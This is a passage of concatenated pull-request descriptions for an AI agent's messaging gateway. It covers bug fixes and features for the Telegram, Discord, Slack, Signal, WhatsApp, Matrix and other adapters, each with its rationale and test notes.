- tests/hermes_cli/test_kanban_notify.py: 2 new cases covering full
notifier → artifact-upload path and missing-file silent-skip. 12
passing.
- E2E (real files, real kanban kernel, real BasePlatformAdapter):
worker calls kanban_complete(artifacts=[png,pdf,csv]) → metadata +
event payload land → notifier helper partitions correctly →
send_multiple_images called once with the PNG, send_document called
twice with PDF + CSV.
What's NOT in this PR (deferred to follow-ups):
- Ad-hoc "research this for two hours, ping the thread when done"
slash command — covered today by kanban subscriptions; a dedicated
slash command can ride a follow-up PR if needed.
- Setup-wizard prompt for recommended MCP servers (Notion, GitHub,
Linear, etc.) — docs page lists them; UI is a separate change.
Plan and rationale captured in ~/.hermes/docs/perplexity-computer-parity.pdf
(local doc, not shipped).
Telegram clears the typing state when a new message is delivered.
When the agent sends intermediate progress messages (like 'Checking:'),
the '...typing' bubble disappears immediately and doesn't return until
the next keepalive tick (up to 2s later). This makes Hermes appear
unresponsive during multi-tool operations.
Fix: call send_typing() immediately after successful message delivery
to restart the typing indicator without waiting for the next keepalive tick.
Fixes#25836
Six days after #23937 (608 fixes) the codebase had accumulated 241 new
PLR6201 violations. Same mechanical `x in (...)` → `x in {...}` fix,
same zero-risk profile: set lookup is O(1) vs O(n) for tuple and the
two are semantically equivalent for hashable scalar membership tests.
All 241 instances fixed via `ruff check --select PLR6201 --fix
--unsafe-fixes`, zero remaining. Every changed value is a hashable
scalar (str/int/None/enum/signal); no risk of unhashable runtime
errors. No behavior change.
Test plan:
- 119 files changed, +244/-244 (net zero) — exactly one-line edits
- `ruff check` clean afterward
- Compile checks pass on the largest touched files (cli.py, run_agent.py,
gateway/run.py, gateway/platforms/discord.py, model_tools.py)
- Subset broad test run on tests/gateway/ tests/hermes_cli/ tests/agent/
tests/tools/: 18187 passed, 59 pre-existing failures (verified against
origin/main with the same shape — identical failure count, identical
category — all xdist test-order flakes unrelated to this change)
Follows the same template as PR #23937 ([tracker: #23972](https://github.com/NousResearch/hermes-agent/issues/23972)).
The 5-second startup-grace filter in _on_room_message silently drops
events where event_ts < startup_ts - 5. When the host clock is set
ahead of real time, the comparison flips against every live event and
the bot 'connects but never replies' — exactly the symptom in #12614.
Reporter Schnurzel700 chased this for several weeks before tracing it
to their Debian VM's clock being out of sync. The current /1000.0
millisecond->second conversion is correct (mautrix returns ms); the
failure mode is purely environmental.
Add a one-shot WARNING that fires when:
- we are >30s past startup (initial-sync replay window closed), AND
- 3 consecutive drops share the same skew within 60s (a constant
clock offset, not varied-age backfill from an invited room).
State is reset in connect() so reconnects after fixing NTP rearm the
detector. Includes the NTP fix instruction in the warning message
itself and a new Troubleshooting entry in the Matrix docs.
5 new tests cover the happy path, initial-sync backfill, under-
threshold drops, varied-age backfill, and the reconnect rearm path.
Refactor the inlined `re.sub(...)[:4000].strip()` cleanup at the
auto-TTS site in `_process_message_background` into an overridable
method `BasePlatformAdapter.prepare_tts_text(text: str) -> str`.
The default implementation is byte-identical to the previous inline
expression — strip `* _ \` # [ ] ( )` and truncate to 4000 chars — so
every existing adapter (Telegram, Discord, Slack, Matrix, IRC, etc.)
gets exactly the same behaviour as before. Zero behaviour change for
any consumer that doesn't override the method.
Why add the hook: voice-first platform adapters need stricter
cleanup than text-bubble platforms. The default strips a handful of
markdown sigils, which is fine when the output goes into a Discord
embed or a Telegram message bubble — but read aloud by a TTS engine,
URLs (`https://example.com/foo`), fenced code blocks, file paths
(`/Users/x/foo.py`), and `MEDIA:` tags turn into long sequences of
unintelligible characters. With this hook an adapter can drop those
spans before TTS while leaving the data-channel transcript intact
for visual rendering.
Without the hook, voice adapters have to either
- duplicate the auto-TTS flow inside their own `handle_response`
pipeline, which means re-implementing the entire `extract_media`,
`extract_images`, `extract_local_files`, attachment routing and
error-handling sequence in `_process_message_background`, or
- live with TTS speaking URLs character-by-character.
Both are worse than a 7-line method addition.
Example consumer:
https://github.com/kortexa-ai/hermes-livekit — LiveKit WebRTC voice
gateway plugin. Its `LiveKitAdapter.prepare_tts_text()` additionally
strips fenced code blocks, inline code, URLs, file paths, and
`MEDIA:` tags before TTS synthesis, while the full response still
reaches connected clients via the data channel. Drop-in installable
via `pip install git+https://github.com/kortexa-ai/hermes-livekit.git`.
Carved out of #3894 (LiveKit WebRTC gateway PR) so the generic hook
can land independently of the LiveKit platform itself.
aiohttp.ClientSession defaults to trust_env=False, which silently ignores
HTTP_PROXY, HTTPS_PROXY, and ALL_PROXY environment variables. Users behind
a corporate or network proxy cannot reach external APIs on any of these
platforms — all outbound requests fail with connection errors.
Symmetric with wecom.py (line 276), weixin.py (lines 1055/1268/1274), and
matrix.py (no-proxy path) which already set this flag. Complements the
open LINE fix (#26635) with the remaining gateway and plugin adapters.
Changed:
- gateway/platforms/sms.py: persistent Twilio session (connect) + fallback
session (send) — both hit https://api.twilio.com
- gateway/platforms/slack.py: ephemeral response_url POST session —
hits https://hooks.slack.com/... callback URLs
- plugins/platforms/teams/adapter.py: standalone send session —
hits login.microsoftonline.com (token) + Bot Framework service URL
- plugins/platforms/google_chat/adapter.py: standalone send session —
hits https://chat.googleapis.com/v1/...
WhatsApp sessions are excluded: they connect to http://127.0.0.1:{port}
(local bridge) and must not be routed through a system proxy.
The gateway already accepts plain-text config files (.ini, .cfg) and
structured formats (.json, .yaml, .toml) as documents, but not common
source-file extensions. Sending a .ts/.py/.sh file currently requires
renaming it to .txt first.
Adds .ts, .py, .sh as text/plain, consistent with the existing
.ini/.cfg entries.

- Remove unused from tools/tts_tool.py (dead code)
- Move _BUILTIN_DELIVER_PLATFORMS set from send() method to module
scope in gateway/platforms/webhook.py to avoid reallocation on
every call
The Discord adapter silently dropped any attachment whose extension wasn't
in the SUPPORTED_DOCUMENT_TYPES allowlist (PDF, text family, zip, office).
Users uploading .wav / .bin / other unrecognized formats saw nothing in
their conversation — the file got logged as 'Unsupported document type'
and discarded before the agent ever saw it.
Add discord.allow_any_attachment (default false) to bypass the allowlist.
When on:
- Any file is downloaded, cached under ~/.hermes/cache/documents/, and
surfaced as a DOCUMENT-typed event with application/octet-stream MIME
- gateway/run.py already emits a context note with the cached path,
auto-translated via to_agent_visible_cache_path() for Docker/Modal
sandboxed terminals
- File body is NOT inlined — only the path — so binary uploads don't
blow up the context window
- Allowlisted text formats (.txt/.md/.log) keep their 100 KiB inline
behavior unchanged
Also adds discord.max_attachment_bytes (default 32 MiB matches the
historical hardcoded cap; 0 = unlimited) since users opting into arbitrary
types may want to raise the cap. The whole attachment is held in memory
while being cached, so unlimited carries a real memory cost.
Env overrides: DISCORD_ALLOW_ANY_ATTACHMENT, DISCORD_MAX_ATTACHMENT_BYTES.
Discord-only by deliberate scope. Telegram has hard 20 MB API limits and
Slack has its own caps — extending the same flag there is a separate
follow-up if/when requested.
Port from qwibitai/nanoclaw#1962: modern Signal V2-only groups surface on
dataMessage.groupV2.id, not groupInfo.groupId. signal-cli versions differ
in which field they expose for V2 groups — some forward the underlying
libsignal envelope verbatim (groupV2), others normalize everything into
groupInfo. Without a groupV2 read, V2-only groups appear as DMs because
groupInfo is undefined and the adapter misroutes them to the sender's
DM session.
Reads groupV2.id first, falls back to groupInfo.groupId. Also hardens
chat_name extraction against non-dict groupInfo payloads (crashed with
AttributeError under malformed envelopes).
6 new tests cover V2 routing, V1 legacy compatibility, V2-preferred
precedence, no-group DM path, allowlist enforcement, and malformed
payloads.
When the agent is running and the user sends multiple TEXT messages in
rapid succession, base.py's active-session branch stored the pending
event as a single-slot replacement:
self._pending_messages[session_key] = event
Three rapid messages A, B, C landed as: A (interrupts), B (replaces A
before consumer reads), C (replaces B). Only C reached the next turn —
A and B were silently dropped. This is the symptom in #4469.
Route the follow-up through merge_pending_message_event(..., merge_text=True)
so TEXT events accumulate into the existing pending event's text instead
of clobbering it. Photo and media bursts already merged through the same
helper; this just extends the merge_text path (already used by the
Telegram bursty-grace branch in gateway/run.py) to all platforms.
Test exercises BasePlatformAdapter.handle_message directly with the
session marked active and asserts three rapid TEXT events merge to
'part two\\npart three' rather than dropping the middle message.
Sanity-checked the test would fail without the fix.
Credits @devorun for the original investigation and analysis in #4491
that surfaced the underlying queue handling, though their fix targeted
GatewayRunner._pending_messages which is now dead state on main.
Stop the gateway from exiting (or systemd-restart-looping) when a single
messaging adapter fails at startup or runtime. A misconfigured WhatsApp
(npm install timeout, unpaired bridge, missing creds.json) used to take
the entire gateway down, killing cron jobs and any other connected
platforms with it.
Changes:
• Startup (gateway/run.py): when connected_count==0 but the only
errors are retryable, log a degraded-state warning and keep the
gateway alive instead of returning False. Reconnect watcher then
recovers platforms as their underlying problem clears.
• Runtime (gateway/run.py _handle_adapter_fatal_error): when the last
adapter goes down with a retryable error and is queued for
reconnection, stay alive instead of exit-with-failure. Previously
this triggered systemd Restart=on-failure, which created infinite
restart loops on persistent retryable failures (proxy outage,
repeated bridge crashes).
• Reconnect watcher (gateway/run.py _platform_reconnect_watcher):
replace the 20-attempt hard drop with a circuit-breaker pause.
After _PAUSE_AFTER_FAILURES (10) consecutive retryable failures, the
platform stays in _failed_platforms with paused=True so the watcher
skips it but the operator can still see and resume it. Non-retryable
errors still drop out of the queue immediately. Resolves#17063
(gateway giving up on Telegram after 20 attempts).
• WhatsApp preflight (gateway/platforms/whatsapp.py): refuse to start
the Node bridge when creds.json is missing. Sets a non-retryable
whatsapp_not_paired fatal error so the watcher drops it cleanly
with a single 'run hermes whatsapp' log line instead of paying the
30s bridge bootstrap timeout on every gateway start.
• WhatsApp setup ordering (hermes_cli/main.py cmd_whatsapp): only set
WHATSAPP_ENABLED=true once pairing actually succeeds. Previously
the wizard wrote the env var at step 2 (before npm install and QR
pairing), so any Ctrl+C left .env claiming WhatsApp was ready when
the bridge had no creds.json. Also propagate the env var when the
user keeps an existing pairing on a re-run.
• /platform slash command (hermes_cli/commands.py + gateway/run.py):
new gateway-only command for manual circuit-breaker control.
/platform list — show connected + failed/paused platforms
/platform pause <name> — silence a known-broken platform
/platform resume <name> — re-queue a paused platform
Tests:
• New: pause/resume helpers, /platform list|pause|resume command,
WhatsApp creds.json preflight, WhatsApp setup ordering.
• Updated: stale assertions that codified the old 'exit and let
systemd restart' behavior in test_runner_fatal_adapter.py,
test_runner_startup_failures.py, and test_platform_reconnect.py
(the 20-attempt give-up test became a circuit-breaker pause test).
5488 tests pass in tests/gateway/.
Wraps every sync->async coroutine-scheduling site in the codebase with a
new agent.async_utils.safe_schedule_threadsafe() helper that closes the
coroutine on scheduling failure (closed loop, shutdown race, etc.)
instead of leaking it as 'coroutine was never awaited' RuntimeWarnings
plus reference leaks.
22 production call sites migrated across the codebase:
- acp_adapter/events.py, acp_adapter/permissions.py
- agent/lsp/manager.py
- cron/scheduler.py (media + text delivery paths)
- gateway/platforms/feishu.py (5 sites, via existing _submit_on_loop helper
which now delegates to safe_schedule_threadsafe)
- gateway/run.py (10 sites: telegram rename, agent:step hook, status
callback, interim+bg-review, clarify send, exec-approval button+text,
temp-bubble cleanup, channel-directory refresh)
- plugins/memory/hindsight, plugins/platforms/google_chat
- tools/browser_supervisor.py (3), browser_cdp_tool.py,
computer_use/cua_backend.py, slash_confirm.py
- tools/environments/modal.py (_AsyncWorker)
- tools/mcp_tool.py (2 + 8 _run_on_mcp_loop callers converted to
factory-style so the coroutine is never constructed on a dead loop)
- tui_gateway/ws.py
Tests: new tests/agent/test_async_utils.py covers helper behavior under
live loop, dead loop, None loop, and scheduling exceptions. Regression
tests added at three PR-original sites (acp events, acp permissions,
mcp loop runner) mirroring contributor's intent.
Live-tested end-to-end:
- Helper stress test: 1500 schedules across live/dead/race scenarios,
zero leaked coroutines
- Race exercised: 5000 schedules with loop killed mid-flight, 100 ok /
4900 None returns, zero leaks
- hermes chat -q with terminal tool call (exercises step_callback bridge)
- MCP probe against failing subprocess servers + factory path
- Real gateway daemon boot + SIGINT shutdown across multiple platform
adapter inits
- WSTransport 100 live + 50 dead-loop writes
- Cron delivery path live + dead loop
Salvages PR #2657 — adopts contributor's intent over a much wider site
list and a single centralized helper instead of inline try/except at
each site. 3 of the original PR's 6 sites no longer exist on main
(environments/patches.py deleted, DingTalk refactored to native async);
the equivalent fix lives in tools/environments/modal.py instead.

When a user sends a Slack message like '/hermes ' (trailing whitespace
after the slash) the legacy subcommand router hit `text.split()[0]` with
a truthy-but-whitespace-only `text`. `' '.split()` returns `[]` →
IndexError, blowing up the slash handler before fallthrough to `/help`.
Switch to a two-step guard that materializes the parts list first and
indexes only if non-empty.
Salvaged from PR #2752 by @nidhi-singh02. The PR's other two hunks
(`tools/file_operations.py`, `agent/anthropic_adapter.py`) are
unreachable in current code — `LINTERS` is a hardcoded constant dict
with no empty values, and the anthropic version-detection site is
already guarded by a `result.stdout.strip()` truthy check — so only the
slack hunk is taken.

ResponseStore.put() and .delete() now remove conversations rows that
reference evicted or deleted response IDs, preventing 404 errors when
a conversation name is reused after its backing response was purged.
Adds regression tests for delete, eviction, and handler-level reuse.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
When a user quotes a file message (type=3) and @bot, the quote's desc field
only contains the filename without a ybres:// resource reference. The existing
QuoteContextMiddleware only extracted media refs from desc using the ybres regex,
which always returned empty for file quotes.
Fix: add a transcript lookup fallback in QuoteContextMiddleware.handle() —
when quote_media_refs is empty but reply_to_message_id is set, search the
session transcript for the quoted message_id and extract ybres anchors from
its content.
Also fix message_type classification: when quote media resolves non-image files,
override message_type to DOCUMENT so gateway/run.py's document injection logic
properly prepends the file path and content for the agent.
Follow-up to snav's PR #25463 contribution: flip default to on, broaden
scope so backfill fires whenever require_mention gates the bot (not just
shared-session channels).
Why:
- The mention-gate creates a session-transcript gap regardless of whether
the channel is shared or per-user. In per-user sessions, Alice's session
is still missing other participants' messages and her own pre-mention
messages — backfill fills both gaps.
- Threads naturally scope to thread-only history because discord.py's
channel.history() on a thread returns only that thread's messages.
- DMs still skip — every DM triggers the bot, so the session transcript
is already complete.
Changes:
- hermes_cli/config.py: discord.history_backfill default → true
- gateway/platforms/discord.py: drop the _is_shared gate, keep _is_dm
skip and _needed_mention gate; env var DISCORD_HISTORY_BACKFILL
default → 'true'
- cli-config.yaml.example + website docs: update defaults and prose;
add the DISCORD_HISTORY_BACKFILL / _LIMIT env var rows that were
documented in the PR description but missing from the env-var table
- tests/gateway/test_discord_free_response.py:
- flip test_discord_per_user_channel_does_not_backfill →
test_discord_per_user_channel_backfills_too (new behavior)
- add test_discord_dm_does_not_backfill (DM skip is invariant)
- give FakeThread a no-op history() so existing thread tests don't hit
a fake discord.Forbidden when backfill now fires on threads too
Tests: 160/160 in target files; 400/400 across all tests/gateway/ -k discord.
Adds optional channel-context backfill for Discord shared-channel sessions
so the agent can see recent messages it missed between its own turns
(typically when require_mention=true filters out most traffic).
Previously the agent only saw the @mention message that triggered it, which
led to disorienting replies in active multi-user channels where the
conversation context was invisible. With backfill enabled, a configurable
number of recent messages are fetched per-turn and prepended to the trigger
message as a context block, kept separate from sender-prefix logic so
attribution remains clean.
This re-opens the work from #13063 (approved by @OutThisLife on 2026-04-20,
closed when I closed the branch to address the simpolism:main head-branch
issue plus an ordering bug I caught later in live use). Filing against the
freshly-rewritten problem statement in #13054 so the design is grounded in
the failure mode rather than the implementation shape.
The implementation follows the **push-mode last-self-anchored** design from
the two options laid out in #13054. See the issue for the trade-off
discussion vs pull-mode (#13120 was an earlier closed PR using that shape).
Treating this as a reference implementation — happy to rewrite as
last-trigger anchoring or as a hybrid with #13120 if maintainers prefer.
Changes:
- gateway/platforms/discord.py:
- new `_discord_history_backfill()` / `_discord_history_backfill_limit()`
helpers (config.extra > env > default), mirroring the existing
`_discord_require_mention()` shape
- new `_fetch_channel_context()` that scans `channel.history()` backwards
from the trigger to the bot's last message (or limit), formats as
`[Recent channel messages] / [name] msg / ...`, respects DISCORD_ALLOW_BOTS,
skips system messages
- per-channel `_last_self_message_id` cache to narrow the fetch window
on hot paths (avoids full history scan when the bot has spoken recently)
- **IMPORTANT**: passes `oldest_first=False` explicitly to `channel.history()`.
discord.py 2.x silently flips the default to True when `after=` is supplied,
which would select the EARLIEST N messages after our last response instead
of the LATEST N before the trigger. In high-traffic windows this would
return stale tool traces and drop the actual final answer the user is
asking about. See regression test below. Caught in live use during a
Codex tool-trace burst on May 13 2026.
- gateway/config.py: discord_history_backfill + discord_history_backfill_limit
settings + yaml→env bridge
- gateway/platforms/base.py: channel_context field on MessageEvent
- gateway/run.py: prepend channel_context after sender-prefix so the
[sender name] tag applies to the trigger message alone, not to the backfill
- hermes_cli/config.py: defaults for new discord.history_backfill and
discord.history_backfill_limit keys
- cli-config.yaml.example: documented defaults
- tests/gateway/test_discord_free_response.py: 7 new tests covering
cold-start backfill, self-message stop boundary, other-bot filtering,
cache hot-path narrowing, stale-cache fallback, shared-channel +
per-user backfill paths, and the ordering regression test
(`test_fetch_channel_context_cache_uses_latest_window_when_after_set`)
- tests/gateway/test_config.py: yaml→env bridge tests

Tested on Ubuntu 24.04 — empirically validated in my own multi-bot Discord
research server for the past three weeks.
Fixes#13054
Supersedes #13063 (closed)
When the final streamed text is identical to the last plain-text edit,
stream_consumer._send_or_edit short-circuits and never calls
adapter.edit_message(finalize=True). For Telegram, this skips the
plain-text → MarkdownV2 conversion, leaving raw Markdown syntax visible
to the user.
Set REQUIRES_EDIT_FINALIZE = True on TelegramAdapter so the finalize
edit is always delivered, matching the existing DingTalk pattern.
Fixes#25710
WhatsApp pseudo-chats (Status updates / Stories, Channels / Newsletters,
broadcast lists) were being routed through the full agent pipeline. A
user's gateway.log showed the agent replying to a contact's Story
('status@broadcast') with 345 chars plus title-generation cost, which
also shows up in the contact's status feed.
Drop these JIDs at _should_process_message() before the policy gate so
they're filtered regardless of dm_policy or allowlist state. Covers:
- status@broadcast (Stories)
- *@newsletter (Channels)
- *@broadcast (broadcast lists, future-proofing)
The bridge.js already filters these on the fromMe outbound path, but
inbound events on self-chat mode skipped that check.
Tests:
- status@broadcast dropped on open policy
- broadcast filter wins over allowlisted senders
- real DMs still pass through
- helper unit cases (case-insensitive, whitespace-tolerant)
26/26 tests/gateway/test_whatsapp_group_gating.py pass; 59/59 adjacent
WhatsApp test suites pass.
The cherry-picked PR over-indented the edit_message_text block for
the mm: (model selected → switch) success path so the confirmation
edit lived inside the preceding 'except Exception as exc' branch and
only fired when the callback raised. Dedent the try/except back to
12-space indent so it runs after the callback succeeds, restoring
the original flow that removes the inline buttons and shows the
'Switched to ...' confirmation.
Add a regression test (test_model_selected_edits_message_on_success)
that asserts edit_message_text is awaited and the result text is
routed through format_message (MARKDOWN_V2 + backtick survival).
Add phuongvm to scripts/release.py AUTHOR_MAP.
Use MarkdownV2 formatting for Telegram callback follow-ups and interactive prompts where dynamic names or user text can break legacy Markdown parsing. Add regression coverage for reload-mcp, model picker, approval callbacks, and update prompts.
Brings Discord to parity with Telegram on the clarify tool's interactive
UX. Overrides BasePlatformAdapter.send_clarify on DiscordAdapter to attach
a button view when choices are present.
- ClarifyChoiceView: one discord.ui.Button per choice (max 24, Discord's
25-component view cap leaves one slot for Other) plus a final
'Other (type answer)' button.
- Numeric click -> tools.clarify_gateway.resolve_gateway_clarify(
clarify_id, choice_text) using the canonical choice text from the
gateway entry (falls back to the button label if the entry vanished).
- Other click -> tools.clarify_gateway.mark_awaiting_text(clarify_id) so
the gateway's text-intercept captures the next user message in this
session as the response.
- Auth via the shared _component_check_auth helper (same OR-semantics as
ExecApprovalView / SlashConfirmView / UpdatePromptView / ModelPickerView).
- Open-ended (no choices) path renders the prompt as a plain embed and
relies on the existing text-intercept resolution.
- Single-use: first valid click disables every button and updates the
embed footer with who answered and what they chose.
No changes to BasePlatformAdapter.send_clarify or the gateway's
clarify_callback wiring -- the existing scaffolding already drives all
adapters; Discord just inherits the default text fallback today and gains
buttons by virtue of this override.
Test conftest extended: _FakeEmbed gains add_field() / set_footer() stubs
so tests can construct embedded views without monkey-patching per-test.
Original PR: #19249 by @LeonSGP43. This is a reshape of the contributor's
work onto current main's clarify infrastructure (clarify_id + entry-based
resolution shared with Telegram, instead of a parallel on_answer-closure
mechanism). The button view structure and UX shape are preserved.
Tests: 14 new tests in tests/gateway/test_discord_clarify_buttons.py.
391/391 existing Discord gateway tests still pass.

The Feishu adapter wrapped lark-oapi's Connect() callable to inject
ping_interval/ping_timeout overrides, but made the wrapper async. The
underlying library uses Connect() as an async context manager (async
with Connect(...) as ws:), which requires the call itself to be sync
and return an AsyncContextManager — making it async meant the wrapper
was awaited eagerly and ws never bound.
Restoring the sync wrapper preserves the protocol while still injecting
the overrides.
Salvage of #25388 by @pearjelly (manually re-applied — original branch
was severely stale against current main).
Discord introduced message_snapshots for forwarded messages — text and
attachments live inside snap.content / snap.attachments rather than on
the parent message. _handle_message wasn't reading them, so forwards
showed up empty.
Defensively extracts snapshot text (when raw_content is empty) and
appends snapshot attachments to the working all_attachments list used
for type detection and media routing. hasattr/getattr guards keep this
safe on older discord.py installs without the field.
Salvage of #25462 by @1RB (manually re-applied — original branch was
stale against current main).
By default, once Hermes participates in a Discord thread (auto-created on
@mention or replied in once) it auto-responds to every subsequent message
in that thread without requiring further @mentions. That's the right default
for one-on-one conversations and isolated channel threads.
But it's a confirmed footgun in multi-bot threads. When a user invokes one
bot per turn — addressing Codex first, then Hermes — every other bot in the
thread also fires on every message, burning credits and spamming the channel.
Author has hit this personally in active multi-bot research-team threads.
Add a new `discord.thread_require_mention` config key (env:
`DISCORD_THREAD_REQUIRE_MENTION`), default `false` to preserve existing
behavior. When `true`, the in-thread mention shortcut is disabled and
threads are gated the same way channels are. Explicit @mentions still pass
through as expected.
Mirrors the existing helper shape (config.extra > env > default) and the
existing yaml→env bridge pattern used by `require_mention`.
Changes:
- gateway/platforms/discord.py: new `_discord_thread_require_mention()`
helper; in_bot_thread shortcut now AND's with `not _discord_thread_require_mention()`
- gateway/config.py: bridge `discord.thread_require_mention` from config.yaml
to `DISCORD_THREAD_REQUIRE_MENTION` env var (mirrors the existing
`require_mention` bridge two lines above)
- hermes_cli/config.py: add `thread_require_mention: False` default to
DEFAULT_CONFIG['discord']
- tests/gateway/test_discord_free_response.py: 4 new tests covering default
behaviour (in-thread shortcut still works), enabled behaviour (mention
required in threads), enabled+mentioned (mention still passes through),
and yaml-via-config.extra path. Also clears DISCORD_* env vars in the
`adapter` fixture so process-env state from the contributor's shell
doesn't leak into per-test behaviour.
- tests/gateway/test_config.py: 2 new tests covering the yaml→env bridge
(both the apply-from-yaml and env-precedence-over-yaml paths)
- website/docs/user-guide/messaging/discord.md: document the new env var
+ config key with multi-bot rationale; cross-link from `auto_thread`
section
Tested on Ubuntu 24.04.
Free-response channels are intended as lightweight chat surfaces — the bot
responds to every message without requiring an @mention. But the auto-thread
gate only checked DISCORD_NO_THREAD_CHANNELS, not DISCORD_FREE_RESPONSE_CHANNELS,
so every message in a free-response channel still spawned a brand-new thread.
That turns a chat channel into a thread-spawning machine: 1 thread per message.
The user-facing docs at website/docs/user-guide/messaging/discord.md already
describe the intended behavior ("Free-response channels also skip auto-threading
— the bot replies inline rather than spinning off a new thread per message"),
so this is a code-vs-docs gap, not a design change.
Fix: OR is_free_channel into skip_thread alongside the existing no_thread_channels
check. One-line production change.
Regression test added at tests/gateway/test_discord_free_response.py:
test_discord_free_response_channel_skips_auto_thread asserts that a message
in a free-response channel never calls _auto_create_thread. Reverting the
one-line fix causes the test to fail with 'Expected mock to not have been
awaited. Awaited 1 times.' — i.e. the test demonstrates the bug concretely.
Lets platform plugins own their YAML→env config bridge instead of forcing
core gateway/config.py to know every platform's schema.
The hook receives the full parsed config.yaml and the platform's own
sub-dict, may mutate os.environ (env > YAML precedence preserved via the
standard `not os.getenv(...)` guards), and may return a dict to merge
into PlatformConfig.extra. It runs during load_gateway_config() after
the existing generic shared-key loop and before _apply_env_overrides(),
mirroring the env_enablement_fn dispatch pattern (#21306, #21331).
Pure addition — no behavior change for existing platforms. Each of the
eight platforms with hardcoded YAML→env blocks today (discord, telegram,
whatsapp, slack, dingtalk, mattermost, matrix, feishu, ~252 LOC in
gateway/config.py) can migrate in independent follow-up PRs; the
hardcoded blocks remain functional in the meantime, and their
`not os.getenv(...)` guards make them no-ops for any env var the hook
already set.
Test coverage: 10 new tests in tests/gateway/test_platform_registry.py
covering field default, callable acceptance, env mutation, extras
merge, both signature args, exception swallowing, missing/non-dict
sections, and env > YAML precedence.

adapter instantiation
- Matrix: mautrix.types enums stayed as stubs → mismatched values at
runtime
Introduces tools.lazy_deps.ensure_and_bind() — a DRY helper that
combines ensure() + importer-callable + globals().update(). This
eliminates the error-prone pattern of manually listing every global
that needs updating after lazy-install. Each platform adapter now
defines a single _import() function returning all bindings.
Also fixes: pyproject.toml [slack] extra was missing aiohttp (needed
by slack-bolt's async path).
Slack platform-blocks native slash commands inside thread replies ("/queue
is not supported in threads. Sorry!") and there is no app-side setting to
re-enable them. As a workaround, rewrite a leading '!' to '/' for any known
gateway command before downstream processing — so '!queue', '!stop',
'!model gpt-5.4' etc. work inside Slack threads (and anywhere else).
Only the first token is checked against is_gateway_known_command(), so
casual messages like '!nice work' pass through to the agent unchanged.
Downstream pipeline (MessageType.COMMAND tagging, gateway dispatcher,
thread reply routing) is unchanged.
Adds 6 tests covering rewrite, args preservation, thread routing,
casual-message passthrough, '@bot' suffix, and plain '/' still-works.
Only Discord and Telegram had lazy-install hooks in their
check_*_requirements() functions. The remaining four platforms that were
moved to lazy_deps (Slack, Matrix, DingTalk, Feishu) would just return
False immediately if their packages weren't pre-installed — no attempt
to install them at runtime.
This means even with the .venv permissions fix (#24841), these four
platforms would still fail to load in Docker (or any fresh install)
unless the user manually ran pip install.
Add the same lazy_deps.ensure() pattern to all four, matching the
existing Discord/Telegram implementation.
Default timeout raised from 60s to 300s (5 minutes) to accommodate
slower systems like Unraid NAS. Configurable via WHATSAPP_NPM_INSTALL_TIMEOUT
environment variable.
The WeCom adapter's _listen_loop() automatically reconnects when the
WebSocket drops, but it never called _mark_connected() after a successful
reconnection. This left the runtime status file (gateway_state.json) stuck
in "disconnected" even though the adapter was fully operational again.
Add self._mark_connected() right after _open_connection() succeeds so
that the dashboard and health probes report the correct state.
Tested by forcing a WebSocket close via the heartbeat loop and verifying
that the status file updated from "disconnected" back to "connected".
PR #23458 introduced _send_message_with_thread_fallback() and applied it
to all control-style sends (send_update_prompt, send_approval_request,
send_model_picker_prompt), but the slash-confirm result message in
handle_callback_query still called self._bot.send_message directly.
In supergroups with stale message_thread_id on the callback's parent
message, this raises "Message thread not found" and silently swallows
the result text. Replace with the helper so the same retry-without-
thread-id logic applies.
Closes#23064
When Hermes connects to Signal via signal-cli in daemon mode (linked
device setup), group messages sent from the user's phone were silently
dropped. The syncMessage handler only processed events where
destinationNumber equals the bot's own number (Note to Self).
Group messages from linked devices carry a groupInfo.groupId instead of a
destinationNumber. Extend the condition to also pass through sync messages
that have a groupId, so group messages are promoted to dataMessage and
reach the agent.
Salvage of #21063 — adds 'Weixin, and more' to module-level docstrings
in gateway/__init__.py, gateway/config.py, gateway/platforms/base.py
and the 'hermes gateway' subparser description.

When the user runs /stop or a session is interrupted mid-flight, the
👀 in-progress reaction lingered on the user's message indefinitely.
Without another agent run to swap it for 👍/👎, the eyes stayed there
forever — visually misleading (looks like the agent is still working).
Fix: on ProcessingOutcome.CANCELLED, call set_message_reaction with
reaction=None to clear all reactions on the message. Documented Bot API
semantics (equivalent to Bot API 10.0's deleteMessageReaction, but works
on PTB 22.6 already without the version bump).
Test changes:
- Renamed test_on_processing_complete_cancelled_keeps_existing_reaction
→ test_on_processing_complete_cancelled_clears_reaction; updated
assertion to expect set_message_reaction(reaction=None).
- Added test_on_processing_complete_cancelled_skipped_when_disabled
(TELEGRAM_REACTIONS=false short-circuits).
- Added test_clear_reactions_handles_api_error_gracefully and
test_clear_reactions_returns_false_without_bot to cover the new
_clear_reactions helper.
The clarify tool returned 'not available in this execution context' for
every gateway-mode agent because gateway/run.py never passed
clarify_callback into the AIAgent constructor. Schema actively encouraged
calling it; users never saw the question.
Changes:
- tools/clarify_gateway.py — new event-based primitive mirroring
tools/approval.py: register/wait_for_response/resolve_gateway_clarify
with per-session FIFO, threading.Event blocking with 1s heartbeat
slices (so the inactivity watchdog keeps ticking), and
clear_session for boundary cleanup.
- gateway/platforms/base.py — abstract send_clarify with a numbered-text
fallback so every adapter (Discord, Slack, WhatsApp, Signal, Matrix,
etc.) gets a working clarify out of the box. Plus an active-session
bypass: when the agent is blocked on a text-awaiting clarify, the next
non-command message routes inline to the runner's intercept instead
of being queued + triggering an interrupt. Same shape as the /approve
deadlock fix from PR #4926.
- gateway/platforms/telegram.py — concrete send_clarify renders one
inline button per choice plus '✏️ Other (type answer)'. cl: callback
handler resolves numeric choices immediately, flips to text-capture
mode for Other, with the same authorization guards as exec/slash
approvals.
- gateway/run.py — clarify_callback wired at the cached-agent per-turn
callback assignment site (only the user-facing agent path; cron and
hygiene-compress agents have no human attached). Bridges sync→async
via run_coroutine_threadsafe, blocks with the configured timeout, and
returns a '[user did not respond within Xm]' sentinel on timeout so
the agent adapts rather than pinning the running-agent guard. Text-
intercept added to _handle_message before slash-confirm intercept
(skipping slash commands). clear_session called in the run's finally
to cancel any orphan entries.
- hermes_cli/config.py — agent.clarify_timeout default 600s.
- website/docs/user-guide/messaging/telegram.md — Interactive Prompts
section.
Tests:
- tests/tools/test_clarify_gateway.py (14 tests) — full primitive
coverage: button resolve, open-ended auto-await, Other flip, timeout
None, unknown-id idempotency, clear_session cancellation, FIFO
ordering, register/unregister notify, config default.
- tests/gateway/test_telegram_clarify_buttons.py (12 tests) — render
paths (multi-choice/open-ended/long-label/HTML-escape/not-connected),
callback dispatch (numeric resolve/Other flip/already-resolved/
